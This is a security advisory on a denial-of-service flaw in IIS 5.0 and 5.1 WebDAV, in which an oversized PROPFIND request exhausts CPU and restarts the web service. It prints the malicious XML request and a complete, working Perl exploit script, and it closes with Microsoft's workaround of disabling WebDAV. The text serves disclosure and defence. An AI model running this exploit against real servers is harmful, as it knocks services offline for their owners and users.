COMMAND

    IIS

SYSTEMS AFFECTED

    IIS 5, IIS 5.1

PROBLEM

    Georgi Guninski  announced a  method to  drive CPU  utilization to
    100%  on  Windows  2000  machines  running  IIS  5.0  with  WebDAV
    (Distributed Authoring and Versioning)  enabled.  The attack,  for
    which a  sample perl  exploit was  provided, appears  to cause Web
    Services to  restart, and  possibly consume  additional memory and
    processing time.

    Basically the problem  are very long  but valid propfind  request.
    For example the following PROPFIND request works for me:

        <?xml version="1.0"?>
        <a:propfind xmlns:a="DAV:" xmlns:u="over:"><a:prop><a:displayname /><u:$over /></a:prop>
        </a:propfind>

    where length($over) ~ 128008

    The  first  time  the  request  is  send  IIS replies with 500 ...
    Exception.  The second time the services are restarted.

    #!/usr/bin/perl
    # Written by Georgi Guninski
    use IO::Socket;

    print "IIS 5.0 propfind\n";

    $port = @ARGV[1];
    $host = @ARGV[0];


    sub vv()
    {

    $ll=$_[0]; #length of buffer
    $ch=$_[1];
    $over=$ch x $ll; #string to overflow

    $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return;
    #$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n";
    # ^^^^ This is another issue and also works with length ~>65000


    $xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n";
    $l=length($xml);
    $req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";
    syswrite($socket,$req,length($req));
    print ".";
    $socket->read($res,300);
    #print "r=".$res;
    close $socket;
    }


    do vv(128008,"V"); # may need to change the length
    sleep(1);
    do vv(128008,"V");
    print "Done.\n";

    According to Microsoft, once the attack ceases the IIS 5.0  server
    returns to normal  operation with no  apparent ill effects.   They
    have also confirmed that  there is no exploitable  buffer overrun,
    leaving this attack as purely a Denial of Service and no more.

    However, due to the fact  that IIS machines are a  constant target
    of net-miscreants, and the not-so-obvious methods of turning  some
    components  off,   its  likely   that  this   attack  may   become
    wide-spread.  This attack will likely become part of the  standard
    attacks used by hacker-wanna-bes, making it a good idea for us  to
    ensure we're protected against it.

    This is likely  to be sent  to your Internet-exposed  IIS box over
    the next few months.   Such attacks are usually sent  periodically
    by some waste-of-space pretending  to learn about security  or the
    Internet, and you'll likely get  pinged.  If you haven't  disabled
    WebDAV  its  not  the  end  of  the world, however the reaction of
    someone who sees your server stop responding is unpredictable.

    Again, because  of statements  made by  the discoverer  people are
    likely  going  to  probe  at  this  vulnerability for a while, and
    likely do so to lots of different machines in the hopes of finding
    some holy grail.  Disable WebDAV ASAP, assuming you can.

    IIS 5.1, which ships with  Whistler (build 2428) is also  affected
    by this vulnerability.

SOLUTION

    As  an  interim  measure,  Microsoft  have released their Security
    Bulletin MS01-016 titled "Malformed  WebDAV Request Can Cause  IIS
    to Exhaust  CPU Resources",  which provides  the instructions  for
    disabling the WebDAV capabilities of an IIS 5.0 server.

    The actual Security Bulletin itself will be available shortly at:

        http://www.microsoft.com/technet/security/bulletin/MS01-016.asp

    WebDAV is specified in RFC 2518, a copy of which can be found at:

        http://www.ietf.org/rfc/rfc2518.txt

    Microsoft's security bulletin MS01-016 advises a workaround  which
    was successfully tested against IIS 5.0 and IIS 5.1 and it works.